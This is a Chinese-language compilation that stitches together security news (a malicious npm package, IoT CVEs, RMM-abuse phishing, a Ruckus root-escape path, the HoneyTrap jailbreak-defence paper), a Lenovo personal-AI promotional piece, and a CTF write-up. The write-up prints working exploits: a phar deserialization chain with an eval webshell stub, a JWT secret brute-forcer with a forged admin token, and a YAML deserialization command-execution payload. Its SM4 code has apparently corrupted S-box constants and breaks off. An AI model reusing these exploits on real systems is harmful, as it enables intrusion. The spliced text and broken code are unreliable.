此次事件也凸显出一个核心安全隐患:集成来源不可信的工作流,会大幅扩大企业的攻击面。研究人员建议,开发者在安装任何软件包前都应进行安全审计,仔细核查软件包的元数据是否存在异常,并优先使用 n8n 官方提供的集成插件。
n8n 官方同样发出警告,提醒用户警惕来自 npm 仓库的社区节点所带来的安全风险。这类节点可能会引入破坏性更新,或在服务运行的主机上执行恶意操作。官方建议,对于自托管的 n8n 实例,可通过将环境变量N8N_COMMUNITY_PACKAGES_ENABLED设置为false的方式,禁用社区节点功能。
研究人员基兰・拉吉与亨里克・普拉特指出:“社区节点拥有与 n8n 主程序完全等同的访问权限。它们可以读取环境变量、访问文件系统、发起对外网络请求,而最关键的一点是,它们能在工作流执行过程中获取到已解密的 API 密钥与 OAuth 令牌。节点代码与 n8n 运行时环境之间,不存在任何沙箱隔离机制。”
“正因如此,一款恶意 npm 软件包就足以让攻击者深度窥探目标系统的工作流、窃取各类凭证,并且在不触发即时警报的情况下实现对外通信。对于攻击者而言,npm 供应链已成为他们潜入 n8n 环境的一条隐蔽且高效的入侵通道。”

更新补充

在接受《黑客新闻》采访时,恩多尔实验室证实,npm 软件包n8n-nodes-gg-udhasudsh-hgjkhg-official确实为恶意软件,且属于此次攻击活动的一部分;其余三款软件包则被判定为良性。

新加坡网络安全局(CSA)已就研华(Advantech)IoT 产品线中一个极具破坏性的漏洞发布高优先级警报。该漏洞编号为 CVE-2025-52694,CVSS 评分高达 10.0(满分),表明其属于需要管理员立即处理的严重威胁

该漏洞为 SQL 注入漏洞。根据安全公告,成功利用后可使 “未授权远程攻击者执行任意 SQL 命令”。

这意味着,如果受影响的服务暴露在互联网上,攻击者无需用户名或密码即可发起攻击。他们只需向数据库发送恶意命令,就可能窃取敏感数据、修改系统配置,甚至完全控制整个相连的 IoT 基础设施。

该漏洞由 HCMUTE 信息安全俱乐部的 Loi Nguyen Thang 先生发现,并与研华及新加坡网络安全局合作进行了协调披露。
漏洞影响研华 IoT 生态系统的多个组件,尤其是较旧版本的管理和边缘软件。受影响的产品包括:
  • IoTSuite SaaSComposer:3.4.15 之前的版本
  • IoTSuite Growth Linux docker:V2.0.2 之前的版本
  • IoTSuite Starter Linux docker:V2.0.2 之前的版本
  • IoT Edge Linux docker:V2.0.2 之前的版本
  • IoT Edge Windows:V2.0.2 之前的版本
官方建议用户和管理员立即更新到最新版本以关闭此安全缺口。不同产品的更新方式如下:

・手动申请:

IoTSuite SaaSComposer、IoTSuite Growth Linux docker 和 IoT Edge Windows 的用户必须直接联系研华技术支持,以获取官方修复版本。

・直接下载:

IoTSuite Starter Linux docker 和 IoT Edge Linux docker 的更新可通过研华官方渠道直接下载。

大语言模型已成为各行业的核心工具,覆盖医疗健康到创意服务等多个领域,彻底革新了人类与人工智能的交互模式。
但这种快速的规模化应用,也暴露出该技术存在的重大安全漏洞。越狱攻击—— 一类专为绕过模型安全机制设计的复杂攻击手段,正对大语言模型的安全落地部署构成日益严峻的威胁。
这类攻击会操控模型生成有害、不道德或具有恶意的内容,引发的严重后果涵盖虚假信息传播、诈骗实施乃至恶意滥用等多个层面。
当前主流的防御方案,通常依赖内容过滤、监督式微调等静态防护机制。
然而面对日趋复杂的多轮越狱攻击策略,这些传统方法逐渐难以招架。在这类攻击中,攻击者会在多轮对话过程中逐步升级攻击手段,诱导模型突破安全限制。
现有防御体系缺乏应对不断演变的对抗性攻击所需的动态适配能力,导致系统极易被这类基于对话的复杂攻击方式所利用。这一防御短板凸显出行业的迫切需求:需要打造更具适应性与前瞻性的防御方案,以应对层出不穷的新型威胁。
上海交通大学、伊利诺伊大学厄巴纳 – 香槟分校及浙江大学的分析师与研究人员,提出了一款名为蜜罐陷阱(HoneyTrap)的防御框架,为该领域带来了突破性的解决方案。
这款框架采用了与传统方案截然不同的越狱防御思路,其核心是构建一个多智能体协同系统 —— 它不会简单地直接拦截攻击请求,而是通过策略性欺骗手段主动误导攻击者,从而达成防御目的。

蜜罐陷阱(HoneyTrap)的架构集成

蜜罐陷阱框架整合了四个各司其职的专业防御智能体,各组件协同运作形成完整防御链路:
  1. 威胁拦截器(Threat Interceptor):作为防御体系的第一道防线,它会策略性地延迟响应速度以拖慢攻击者节奏,同时返回模糊不清的应答内容,确保不会泄露任何可被利用的有效信息。

  1. 误导控制器(Misdirection Controller):生成表面看似有用的欺骗性回复,巧妙诱导攻击者产生 “攻击正在推进” 的错觉,却始终无法获取关键信息。
  2. 系统协调器(System Harmonizer):承担全局调度职能,基于对攻击进展的实时分析,动态调整防御强度,实现防御策略的灵活适配。
  3. 取证追踪器(Forensic Tracker):持续监控所有交互过程,捕捉攻击者的行为模式,识别新型攻击特征,进而优化迭代防御策略。
实验验证结果表明,该框架的防御效果十分显著。在 GPT-4、GPT-3.5-turbo、Gemini-1.5-pro 以及 LLaMa-3.1 四款主流大语言模型上的测试显示,与现有防御方案相比,蜜罐陷阱能将攻击成功率平均降低 68.77%

尤为关键的是,这款框架能够大幅消耗攻击者的资源成本。

测试数据显示,其误导成功率提升了约 118%,同时攻击者的资源消耗增加了 149%。这些数据充分说明,蜜罐陷阱并非简单地拦截攻击,而是在不影响合法用户服务体验的前提下,策略性地消耗攻击者的资源。

该系统在正常对话场景下能够维持高质量的响应水准,在保障用户体验的同时,同步强化安全防御能力。
这一双重优势,让蜜罐陷阱成为一套务实且可落地的解决方案,能够帮助各类机构抵御不断演变的越狱攻击威胁。

安恒实验室安全情报中心(ASEC)在一份新报告中发出警示,称威胁攻击者正出现一种新型攻击趋势 ——劫持功能强大的远程监控管理(RMM)软件以侵入受害者网络。攻击者通过滥用 Syncro、SuperOps、NinjaOne 以及 ScreenConnect 等受信任工具,绕过安全检测雷达,在受感染系统上建立持久化远程控制权限。
这一轮攻击活动至少自 2025 年 10 月起便处于活跃状态,其攻击链路的核心伪装手段,是从一份看似无害的 PDF 文件开始。
攻击的起始环节是典型的钓鱼诱饵:受害者会收到携带 PDF 附件的钓鱼邮件,附件名称往往带有紧急属性,例如《产品缺陷订单.pdf》《发票明细.PDF》《视频付款异常.pdf》等。
但这些文件本质上都是诱饵。报告中提到:“当用户打开这份 PDF 文档时,会被引导点击一个谷歌云端硬盘链接”。文档会显示 “加载失败” 的提示,进而诱导用户访问一个外部网站 —— 该网站通常会伪装成 Adobe 的官方页面,以此骗取用户信任,让其点击查看内容。
安恒实验室安全情报中心的分析人员指出:“这一行为表明,威胁攻击者正通过仿冒 Adobe 的方式,让用户误以为自己正在下载一份合法的 PDF 文件”。
一旦用户点击该链接,下载到本地的并非传统意义上的病毒,而是一款合法的、或经过轻微篡改的企业级远程监控管理软件安装程序。这类工具的设计初衷,是供 IT 管理员对计算机进行远程运维管理,如今却被攻击者当作 “就地取材式” 攻击武器。它们带有正规数字签名,往往能被杀毒软件信任,且默认具备强大的远程访问能力。
报告着重强调:“威胁攻击者分发的 PDF 文件,会诱导用户从伪装的分发页面下载并运行这款远程监控管理工具”。
此次攻击活动中被武器化的具体工具包括:
  • Syncro
  • SuperOps
  • NinjaOne
  • ScreenConnect
从对攻击下载器的分析结果来看,这轮攻击的技术成熟度颇高。已监测到的一个 NinjaOne 下载器样本,是基于 **Nullsoft 脚本安装系统(NSIS)** 开发的。
报告指出:“该下载器由 NSIS 开发而成,其内置的 NSI 脚本中包含一条用于下载额外载荷的命令”。它会在用户不知情的情况下,从恶意域名anhemvn124.com获取远程监控管理工具的代理程序,并自动完成静默安装。
恶意软件的开发者甚至留下了可供追溯的数字线索。用于为恶意文件签名的证书显示,这类攻击活动至少从 2025 年 10 月起就已持续开展
这类攻击的检测难度极大,原因在于其最终投放的载荷,通常是一款被数千家正规企业广泛使用的、合法且经过签名的应用程序。安恒实验室安全情报中心建议用户,应对 PDF 文件中出现的任何 “加载失败” 提示保持高度警惕,同时务必核实任何来历不明的发票类邮件的发件人信息。
“在打开来自未知发件人的邮件时,用户必须格外谨慎。核实发件人是否可信、不点击可疑链接或附件,这两点至关重要”。
报告同时敦促各类组织机构,需加强对未经授权的远程监控管理软件安装行为的监测,并阻断与这类攻击分发活动相关的已知恶意域名访问。

一对高危安全漏洞在 Ruckus vRIoT IoT Controller 中被披露,该设备是企业 IoT 设备管理的核心中枢。两个漏洞的 CVSS 评分均为满分 10.0,意味着它们不仅易于利用,而且可能导致系统被完全接管
这两个漏洞编号为 CVE-2025-69425CVE-2025-69426,根源都在于内部认证机制存在严重缺陷。开发者在代码中留下了硬编码密钥,攻击者可利用这些密钥绕过安全限制并获取 root 权限
漏洞影响 3.0.0.0(GA)版本之前的所有 Ruckus vRIoT IoT Controller 固件

CVE-2025-69425:端口 2004 后门

第一个漏洞涉及一个监听在 TCP 2004 端口 的命令执行服务。该服务以 root 权限运行,因此成为极高价值的攻击目标。
虽然该服务名义上实现了认证机制,但机制本身存在根本性缺陷:它依赖一个硬编码的基于时间的一次性密码(TOTP)密钥以及一个嵌入式静态令牌。由于这些密钥被硬编码在设备固件中,攻击者只要提取到它们(通过攻陷设备或分析固件),就能随意生成有效的令牌
一旦获得这些令牌,攻击者即可连接到 2004 端口,并以 root 身份执行任意操作系统命令,从而完全控制整个控制器。

CVE-2025-69426:SSH Docker 逃逸

第二个漏洞堪称 “部分限制如何彻底失效” 的典型案例。漏洞源于初始化脚本中发现的一个操作系统用户账户的硬编码凭据

虽然该账户的 SSH 配置试图限制访问(禁用 SCP 和伪终端分配),但它仍在网络上留下了可被利用的入口。攻击者可使用硬编码凭据通过 SSH 登录,并建立本地端口转发
攻击路径设计巧妙:

认证:使用硬编码凭据登录。

隧道:通过 SSH 端口转发访问内部的 Docker 套接字

逃逸:通过隧道发送 Docker 命令,攻击者可将主机的文件系统挂载到一个新容器中。

接管:在该容器内,攻击者可以修改主机操作系统,从而成功突破沙箱限制,并在底层 vRIoT 控制器上以 root 权限执行命令

修复建议

对于任何暴露在公网的控制器来说,这些漏洞都是 “一击致命” 级别的。Ruckus 已在 固件版本 3.0.0.0(GA) 中修复了这两个问题。官方强烈建议管理员立即升级,以移除硬编码凭据并关闭这些攻击路径。

科技云报道原创。

 

“早上好”!清晨,AI助手悦耳的声音传达到你耳边,还推荐了适合你体重管理的早餐;上班路上,智能汽车自动规划了最佳路线,还能接着帮你整理昨晚没完成的工作文档;工作时,AI能跨设备帮你总结会议重点,生成个性化的周报……这些不再是科幻电影的场景,而是未来我们每个人都会经历的日常。

 

过去三年,AI的发展主要是比谁的模型参数更大、技术更硬。

 

 

从2022年生成式AI的火爆,到2025年产业开始转向,AI不再是偶尔用一用的“公共工具”,而是变成了像朋友一样常驻在我们电脑、手机、平板、眼镜等设备里的“长期伙伴”。

 

一个关键问题也随之而来:AI该归平台管,还是属于我们每一个人?近日,联想与IDC发布了国内首份《个人AI产业定义、产业架构与发展趋势白皮书》,该白皮书立足未来视角,对“真正属于每一个人”的个人AI进行前瞻性展望,并深入阐述个人AI崛起将引发的产业结构性变革。

 

 从“通用工具”到 “智能双胞胎”

 

报告预测,2026年将成为“个人AI元年”,全球生成式AI消费者将突破50亿。

 

这场变革不只是技术升级,更是“人工智能+”在我们普通人身边的深度落地,它基于“以人为中心”的核心想法,重新定义我们工作生活的方式。

 

过去三年,像ChatGPT这样的公共AI确实让更多人用上了AI,但也暴露了不少麻烦。

 

公共AI以商业平台为核心,我们想用好服务,就得交出自己的数据、隐私,还得放弃一部分控制权。

 

而且它的服务是“一刀切”,满足不了每个人的个性化需求,还存在跨平台用着不方便、响应慢等问题。

 

与此同时,我们对AI的需求也在悄悄改变。报告显示,2025年国内用户提到“安全隐私保护”的比例涨到了43%,超过65%的智能终端用户在使用AI Agent时,最关心“个人数据安全与隐私保护”,高于功能性、易用性等其他因素,同时对个性化服务的需求占比达35%。

 

报告预计,到2028年,服务型AI的市场规模会达到270亿美元,每年的增长率超过60%,扩张速度远高于工具型AI应用。

 

随着用户隐私数据越积越多、全场景智能需求爆发,AI产业正从“平台说了算”转向“围着个人需求转”。

 

如果说用户需求的改变是个人AI发展的前提,那终端设备算力的提升、混合大模型的成熟、隐私计算技术的突破,就给个人AI的实现提供了可能。

 

而终端厂商和平台的实践探索,让这种“专属”的智能体验从想法变成了现实。

 

个人AI的崛起,是一场大变革。从“平台掌控”到“个人做主”,从“你问它才答”到“主动懂你”,从“单纯工具”到“贴心伙伴”。

 

它不再是为商业目标服务的通用产品,而是真正属于你、帮你把利益最大化的“智能分身”,这种转变已经成了AI产业发展的重要趋势。

 

联想集团副总裁、中国区战略及业务拓展副总裁阿不力克木·阿不力米提(以下简称“阿木”)认为,最终会走向每一个人都能拥有一个双胞胎般的超级智能体,它就是个人的一个分身,是一个伴侣和伙伴,甚至是个人的代表。

 

 

联想集团副总裁、中国区战略及业务拓展副总裁 阿不力克木·阿不力米提

 

“以人为中心”的 个人超级智能体

 

报告认为,个人AI作为“以人为中心”的个人超级智能体,要实现从“工具”到“伙伴”的跨越,不仅需要具备跨平台开放连接的能力,能够以一个身份打通不同平台、不同设备、不同系统,从而实现无缝自由切换使用。

 

同时,还要让AI终端与个人云混合架构及混合大模型进行深度融合,通过构建基于个人AI主权的可信安全体系,找到个人隐私与应用效率的最佳平衡。

 

多模态感知与纯自然交互是个人AI的基础。它突破传统输入式交互局限,通过语音、肢体动作、神态、情绪等自然载体,结合图像输入、眼球追踪、环境捕捉等技术,实现从“看见输入”到“理解人类”的转变。

 

全时记忆与全域知识则解决了“跨场景失忆”的痛点。全时记忆能跨设备、跨时间沉淀用户习惯与偏好,通过“记录-强化-遗忘”的动态机制,形成可持续演化的个体化记忆体系;全域知识则整合分散在不同设备、应用中的笔记、日程、资料等信息,构建可检索、可复用的专属知识库。

 

全意图理解与自主规划执行,让AI真正“帮你做事”。它不仅能理解明确需求,还能基于长期画像预测潜在意图,将复杂任务拆解为可落地的行动步骤,跨终端协同执行。

 

持续学习与演进让AI与用户共同成长。通过日常交互反馈、记忆积累,结合轻量化模型适配技术,个人AI能不断贴近用户偏好。

 

用户可通过升级终端、订阅云服务提升其算力与能力,日常使用即等同于训练,使智能体成为持续增值的个人资产。

 

端云混合架构实现了隐私与效率的平衡。个人AI在终端部署“本地大脑”,处理隐私敏感任务与即时响应,保障数据安全与低时延,云端则承接复杂算力需求与全域知识库,通过可信个人云实现能力扩展。

这种“端侧守护隐私、云端赋能高效”的模式,让用户既能享受智能服务,又无需担忧数据泄露。

 

与公共AI通用体验不同,个人AI突破了单一厂商“生态围墙”,可在Windows、安卓、iOS等系统及不同芯片间自由切换,调用多厂商、多场景的服务与能力。无论是办公软件、娱乐应用,还是智能硬件、垂直领域服务,都能被统一调度,实现工作、学习、生活场景的无缝衔接。

 

如果说,公共AI连接的是每一个商业帝国的边界,那么个人AI就是由用户全权掌控,数据、算法、算力全部归个人所有,个人可自由处置、迁移、删除、管理个人数据、使用边界与智能体行为规则。

通过端云一体机密计算、抗量子加密、行为审计等技术,实现“数据可用不可见、行为可控可追溯”,让用户敢于向AI敞开生活与工作的全场景。

 

阿木表示,不论是联想还是其他公共AI开发者,都越来越有一个共识,个人AI将是未来下一个阶段创新和普惠的关键方向。

 

个人AI催生的新型生产关系

 

在公共AI时代,产业格局都是围着“平台”转,平台掌握着流量分配权,应用厂商得靠平台的接口和流量才能找到用户,用户也只能在单个平台的“围墙”里来回切换工具。

 

个人AI的崛起,正用“智能体调度”替代“平台分发”,掀起一场产业架构的大重构,让整个AI生态从“平台为中心”变成“用户为中心”,形成全新的运行逻辑。

 

在此过程中,终端厂商、应用开发者、技术提供商的角色与竞争焦点均被重新定义。

全场景整合商成将成为生态核心。以联想为代表的全场景整合商,其核心价值将由交付软件应用和硬件终端转为交付“智能体+终端+个人云”一体化体验。

 

智能体作为“数字分身”承载用户记忆与偏好,终端提供实时感知与物理执行能力,个人云通过可信加密支撑复杂算力需求,三者协同实现“端侧护隐私、云端提效率”的无缝服务。

 

应用从“独立APP”变成了“可调用的模块”。以前的独立软件被拆成标准化的能力单元,通过接口接入智能体生态。

 

个人AI能根据你的需求,自动组合这些模块,形成“提需求-执行-给反馈”的闭环,不用再频繁切换APP,让应用真正回归“解决问题”的本质。

模型、算力、安全组件化升级。模型被拆解为推理、感知等标准化模块,按需调用端云模型。

 

算力形成“端云协同”体系,端侧保障低时延隐私计算,云端承接大规模算力需求。安全能力贯穿全链路,以硬件加密、隐私计算等组件筑牢数据安全防线。

 

公共AI时代,终端是“流量入口”,竞争聚焦芯片算力、屏幕分辨率等硬件参数。个人AI时代,终端升级为“数据主权+智能体应用”的融合体,核心竞争力转向硬件、系统、智能体的全栈整合能力。

 

这种AI整合能力,是硬件、系统、智能体的全栈协同能力,而非单一技术的堆砌。

 

硬件层面需适配智能体运行需求,集成低功耗NPU、高速本地存储、多模态传感器等硬件模块,确保智能体“跑得动、跑得久、跑得安全”。

 

系统层面需重构资源调度逻辑,摒弃“以OS为中心”的传统模式,转为以智能体需求为核心,动态调配CPU、GPU、存储等资源,支持跨设备任务无缝迁移。

 

智能体层面需深度融入终端生态,实现与硬件能力的精准适配、与个人云的安全协同,以及与生态服务的高效联动。

 

由此,终端厂商的竞争力不再取决于单一硬件参数的强弱,而在于能否通过全栈整合,为用户提供“安全可控、无缝协同、持续进化”的智能体验。

 

作为个人AI的代表,联想天禧AI生动诠释了个人AI时代“智能体调度”与“全栈整合”的产业新逻辑,其“一体多端”的架构设计,成为未来个人AI的标杆形态。

 

“一体”,是指以天禧个人超级智能体为核心的统一智能中枢,它打破了设备与平台的界限,承载用户的全时记忆与全域知识,具备多模态感知、全意图理解、自主规划执行等核心能力。

 

天禧AI采用端云混合架构,本地集成天禧模型,云端联动豆包、Deepseek等模型,将感知、理解、记忆、规划、调度五大能力在终端、个人云、公有MaaS间合理分布、动态优化,既保证隐私安全,又具备强大的算力支撑。

“多端”则意味着智能体可无缝融入AIPC、AI手机、AI平板、智能穿戴设备等全场景终端,实现跨设备协同与任务接续。

 

天禧AI的核心竞争力,正是联想全栈AI整合能力的体现。硬件层面,AIPC、AI手机等终端集成专属NPU与传感器,为智能体提供高效运行基础。

 

系统层面,通过超级互联技术与资源调度优化,实现跨设备无缝协同。智能体层面,深度整合端云模型与生态服务,成为用户的“智能双胞胎”。

 

未来的个人AI不再是孤立的工具,而是以“一体多端”的超级中枢形态存在,通过智能体调度整合全场景资源,为用户提供“以人为中心”的个性化、安全化、无缝化智能服务

 

 

 

个人AI一个新的里程碑

 

IDC预测显示,个人AI将在2026年进入规模化爆发期,终端市场、用户规模、应用场景将迎来全方位增长,开启智能经济的新篇章。

 

这场产业变革中,竞争焦点已从单一硬件或技术,转向“以用户为中心”的协同体验。

 

全场景整合商主导生态搭建,应用开发者聚焦能力模块化,技术提供商推动组件化升级,各方协同构建开放共赢的新生态。这场重构将彻底改变AI产业的运行逻辑,让智能服务真正回归个体需求本身。

从公共AI到个人AI,这场变革的核心是“人”的回归,让智能服务于每一个个体,让每个人都能拥有专属的“认知外脑”与“行动分身”。

 

移动办公、教育、健康管理将成为个人AI的核心赛道。家居控制、娱乐互动、智能出行等场景也将快速渗透,形成全场景智能服务生态,让个人AI真正融入生活的每一个角落。

 

2026年,个人AI的爆发将成为AI产业一个新的里程碑。我们将进入一个人机共生、协同进化的新时代。个人AI从尝鲜走向规模化落地,不是一家企业的独角戏,而是全产业的协同共建。

当AI真正属于每一个人,一种崭新的生活方式将由此开启。

 

【关于科技云报道】

专注于原创的企业级内容行家——科技云报道。成立于2015年,是前沿企业级IT领域Top10媒体。获工信部权威认可,可信云、数博会、国家网安周与全球云计算等大型活动的官方指定传播媒体之一。深入原创报道云计算、人工智能、大模型、网络安全、大数据、区块链等企业级科技领域。

 

前言

本来早都写好了,官方WP提交截止时间是昨晚九点半,懒得等了,今早发吧,整体题目还是比较有意思的。

Ez_readfile

php反序列化利用phar协议绕过waf写入webshell

析构函数中根据 $mode 值做不同操作:

  • 'w': 把 $_POST[0] 写入一个随机 .phar 文件(可能用于 PHAR 反序列化)。
  • 'r': include($_POST[0]) —— 文件包含漏洞

构造利用链

需要绕过正则,常用协议无法使用,这里使用glob协议

Nimbus` 被反序列化 → 析构时调用 `$this->handle()`
 → `$a->handle` 是 `Nimbus` 实例 → 调用 `Nimbus::__invoke()

根据利用连构造EXP如下

<?php
class Coral { public $pivot; }
class Nimbus { public $handle; public $ctor; }
class Zephyr { public $target; public $payload; }

@unlink("phar.phar");
$a = new Nimbus();
$a->handle = new Nimbus();
$a->handle->handle = new Zephyr();
$a->handle->handle->target = new Coral();
$a->handle->handle->target->pivot = new Nimbus();
$a->handle->handle->target->pivot->ctor = "DirectoryIterator";
$a->handle->handle->payload = "glob:///*fl*";
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php eval(\$_GET[1]); phpinfo(); __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

使用gz压缩绕过WAF

D:\phpstudy_pro\WWW>python 1.py
%1F%8B%08%00%1Em%BEh%02%FF%B3%B1/%C8%28PH-K%CC%D1P%89ww%0D%896%8C%D5%B4V%00%8Ae%E6%A5%E5k%00%99%F1%F1%1E%8E%3E%21%F1%CE%FE%BE%01%9E%3E%AEA%20%21%7B%3B%5E.%1DF%06%06%20b%10d%80%D0%0C%0C%DF%80%D8%DF%CA%CCJ%C9/37%A9%B4X%C9%CA%C8%AA%BA%18%C4%CFH%CCK%C9IU%B2%26%2C%19%95Z%90QY%84%90%2CI%2CJO-%01I%9AZ%299%E7%17%25%E6%28Y%19%82%E4%80%DC%82%CC%B2%FC%12%02%86%FAY%17%5B%99X%29%25%97%E4%17%29%01%99%86%E6VJ.%99E%A9%20~%A5gIjQ%22X%A2%B6%B6%D8%0A%28S%90X%99%93%9F%98%02Vhd%A5%94%9E%93%9Fd%A5%AF%AF%AF%95%96%A3%05T%83d%90%1F%3A%8F%03%E8%F3%92%D4%E2%12%BD%92%8A%12%16%20%5B4w_%06%88%E6%A9%AB%BF%B1%0D%128%60%F9%03%ADO%96%AB%CChk%BDz3%3F%5D%ADrJ%FE%91%DE%2B%C6L%409w%27_%27%00%3C%AA%2BO%88%01%00%00

POST上传文件,出发phar反序列化

读取文件

尝试写入webshell,进行命令执行,

可以查看当前目录,发现存在backup的定时文件,创建软连接到backup目录下读取flag文件。

EZ_python

考察点:JWT伪造爆破

​ yaml文件正则过waf文件上传进行命令执行

任意伪造jwt会报错密钥前缀,构造py爆破密钥

# brute_jwt.py
import jwt
import string
import itertools

# 你的 JWT
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 密钥前缀(直接写 %)
secret_prefix = "@o70xO$0%#qR9#"

# 字符集
charset = string.ascii_letters + string.digits  # a-z, A-Z, 0-9

print("🚀 开始爆破密钥...")

for suffix in itertools.product(charset, repeat=2):
    secret = secret_prefix + ''.join(suffix)
    try:
        # 尝试解码
        decoded = jwt.decode(jwt_token, secret, algorithms=['HS256'])
        print(f"\n✅ 成功!密钥为:{secret}")
        print(f"Payload: {decoded}")
        break
    except jwt.InvalidTokenError:
        continue
else:
    print("❌ 未找到密钥")

获取到密钥构造admin权限的token进行文件上传

# sign_admin.py
import jwt

# 已知信息
secret = "@o70xO$0%#qR9#m0"  # 原始密钥(直接写 %)
old_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 新的 payload
new_payload = {
    "username": "admin",
    "role": "admin"
}

# 使用 HS256 算法重新签名
new_token = jwt.encode(new_payload, secret, algorithm='HS256')

print("✅ 成功生成 admin JWT:")
print(new_token)

获取到正确的token上传

文件上传的时候报错

只有内容为python的内容才能直接运行,回显为run,猜测后端代码使用method=python,前端依旧可以上传yaml文件,构造脚本常看回显,先使用ls -l查看当前路径下的文件,在读取f111ag

# send_yaml.py

import requests

url = "http://web-d4c6da270e.challenge.xctf.org.cn/sandbox"
headers = {
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70"
}

# 上传 YAML 文件

files = {
    'codefile': ('exploit.yaml', '''
run: !!python/object/apply:subprocess.getoutput

  - cat /f1111ag*
    ''', 'text/yaml'),
    'mode': (None, 'yaml')  # 注意:mode 可能是 'yaml' 或 'yml'
    }

r = requests.post(url, files=files, headers=headers)
print("📡 状态码:", r.status_code)
print("📜 响应内容:")
print(r.text)

SilentMiner

攻击者IP auth.log下攻击者进行ssh爆破

192.168.145.131

攻击者共进行多少次ssh口令爆破失败?

实际上搜索出的是257次,实际上答案是258,我说咋一直不对,最后随手改的竟然提交对了,这个应该是答案错了

后门文件路径的绝对路径是什么?

sshd文件被修改并且重启了ssh服务

攻击者用户分发恶意文件的域名是什么?(注意系统时区)

/bar/log/dnsmasq.log中的dns域名进行检索,最终确定为

挖矿病毒所属的家族是什么?

通过恢复恢复tmp目录下文件进行解密找到加密的病毒家族kinsing

CheckWebshell

流量分析比较简单,语法搜索字符串找到flag.txt

返回包是内容,发现flag为sm4的国密算法求解得到flag

<?php
class SM4 {
    const ENCRYPT = 1;
    private $sk; 
    private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
    private static $CK = [
        0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
        0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
        0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
        0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
        0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
        0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
        0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
        0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
    ];
    private static $SboxTable = [
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
        0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
        0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
        0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
        0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
        0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
        0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
        0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
        0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
        0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
        0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
        0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
        0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
        0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
        0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
    ];

    public function __construct($key) {
        $this->setKey($key);
    }
    public function setKey($key) {
        if (strlen($key) != 16) {
            throw new Exception("SM4");
        }
        $key = $this->strToIntArray($key);
        $k = array_merge($key, [0, 0, 0, 0]);
        for ($i = 0; $i < 4; $i++) {
            $k[$i] ^= self::$FK[$i];
        }
        for ($i = 0; $i < 32; $i++) {
            $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
            $this->sk[$i] = $k[$i + 4];
        }
    }
    public function encrypt($plaintext) {
        $len = strlen($plaintext);
        $padding = 16 - ($len % 16);
